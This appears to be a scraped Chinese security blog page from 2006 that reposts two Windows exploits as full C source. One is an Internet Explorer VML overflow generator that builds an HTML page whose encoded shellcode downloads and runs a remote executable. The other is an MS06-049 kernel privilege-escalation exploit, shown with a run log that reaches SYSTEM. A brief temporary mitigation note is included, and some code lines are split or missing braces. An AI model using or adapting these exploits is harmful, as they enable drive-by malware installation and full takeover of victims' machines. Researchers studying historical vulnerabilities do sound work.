 DialogBox(hInstance,(LPCTSTR)IDD_DIALOG1,NULL,(DLGPROC)DialogProc);
 return 0;
}

INT_PTR CALLBACK DialogProc(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
switch (uMsg)
 {
 case WM_INITDIALOG:
 hdlg = hwndDlg;
 return true;

 case WM_COMMAND:
 if (LOWORD(wParam) == IDOK)
 {
 char url[256];
 ZeroMemory(url,256);
 GetDlgItemText(hdlg,IDC_EDIT1,url,256);
 create(url);
 MessageBox(hwndDlg,"恭喜,test.html已生成!","提示",MB_ICONINFORMATION);
 }

 if (LOWORD(wParam) == IDCANCEL)
 {
 EndDialog(hwndDlg, LOWORD(wParam));
 PostQuitMessage(0);
 }
 break;
 }
 return 0;
}

下载地址:http://forum.eviloctal.com/job-htm-action-download-pid-tpc-tid-24858-aid-7453.html

分类: 矩阵毒刺 标签:

Internet Explorer VML Overflow Down Exec Exploit

2006年9月22日 没有评论 54 views

临时解决方法提供:sunwear

各位还是用临时解决方案吧
该漏洞现在还没补丁

1、解除vgx.dll的注册:点击“开始”菜单,选择“运行”,在其中输入下面的命令:
regsvr32 -u "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"
然后点击“确定”,在随后出现的弹出窗口中点击“确定”按钮。
在微软发布补丁后,如果想恢复注册,只需再用上述方法运行下面的命令即可:
regsvr32 "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"

2、尽量使用非IE内核的网络浏览器,如Firefox、Opera等。


/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
  int i=0;
  unsigned int ncr = 0;

  for(i=0; i<size; i+=2)
  {
    ncr = (buf[i+1] << 8) + buf[i];

    fprintf(fp, "&#%d;", ncr);
  }
}

void main(int argc, char **argv)
{
  unsigned char buf[1024] = {0};
  unsigned char burl[255] = {0};
  int sc_len = 0;
  int psize = 0;
  int i = 0;

  unsigned int nop = 0x4141;
  DWORD jmp = 0xeb06eb06;

  if (argc < 2)
  {
    printf("Windows VML Download Exec Exploit\n");
    printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
    //printf("!!! 0Day !!! Please Keep Private!!!\n");
    printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
    exit(1);
  }

  url = argv[1];
  if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
      10 || strlen(url) > MAXURL)
  {
    printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d bytes.\n", MAXURL);
    return;
  }

  printf("[+] download url:%s\n", url);

  if(argc >=3) file = argv[2];

  printf("[+] exploit file:%s\n", file);

  fp = fopen(file, "w+b");
  //fp = fopen(file, "w");
  if(!fp)
  {
    printf("[-] Open file error!\n");
    return;
  }

  // print html header
  fprintf(fp, "%s", header);
  fflush(fp);

  for(i=0; i<NOPSIZE; i++)
  {
    //fprintf(fp, "&#%d;", nop);
    fprintf(fp, "A");
  }

  fflush(fp);

  // print shellcode
  memset(buf, 0x90, sizeof(buf));
  //memset(buf, 0x90, NOPSIZE*2);

  memcpy(buf, &ret, 4);
  psize = 4+8+0x10;

  memcpy(buf+psize, dc, sizeof(dc)-1);
  psize += sizeof(dc)-1;

  memcpy(buf+psize, dcstart, 4);
  psize += 4;

  sc_len = sizeof(sc)-1;
  memcpy(buf+psize, sc, sc_len);
  psize += sc_len;

  // print URL
  memset(burl, 0, sizeof(burl));
  strncpy(burl, url, 60);

  for(i=0; i<strlen(url)+1; i++)
  {
    burl[i] = buf[i] ^ 0xee;
  }

  memcpy(buf+psize, burl, strlen(url)+1);
  psize += str
len(url)+1;

  memcpy(buf+psize, dcend, 4);
  psize += 4;

  // print NCR
  convert2ncr(buf, psize);

  printf("[+] buff size %d bytes\n", psize);

  // print html footer
  fprintf(fp, "%s", footer);
  fflush(fp);

  printf("[+] exploit write to %s success!\n", file);
}

// milw0rm.com [2006-09-20]

分类: 矩阵毒刺 标签:

MS06-049 Windows ZwQuerySystemInformation Local Exploit

2006年9月21日 没有评论 81 views

/*
MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English

Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
PUCHAR pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
USHORT index;
HANDLE hDevice, hFile, hFileMap;

printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, s
izeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
printf("%s Address:%x\n", "NtVdmControl", HookAddress);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x10; 

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (0xe9 << 8) & 0xff00;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[0]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
break; 
}

printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

Temp = 0;
for(i = 0; i < 7; i++)
{
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
Temp += Byte;
}

Byte = Temp / 7;
printf("Single value:%x\n", Byte);
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Jump value:%x\n", Value);
printf("Base value:%x\n", pRestoreBuffer[1]);
for(Count = 0; ; Count++)
{
if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
break;
}

printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
printf("Count value:%x\n", Count);
for(i = 0; i < Count; i ++)
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}



Usage:

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>ms06-049

MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerabil
ity Exploit

create by SoBeIt.

Kernel base address: 80400000
Allocated address:420000
File size:1a3b10
NtVdmControl Address:80512dae
Single value:5a
Jump value:e900
Base value:ec8b55cc
Need value generated:ec8be91a
Count value:1a3
Single value:5a
Jump value:8070
Base value:7868ff6a
Need value generated:78698070
Count value:16f
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

如果是FAT文件系统,直接运行即可。如果是NTFS文件系统,需要把一份当前内核对应的ntoskrnl.exe上传到与exploit同一目录下使用。

分类: 矩阵毒刺 标签: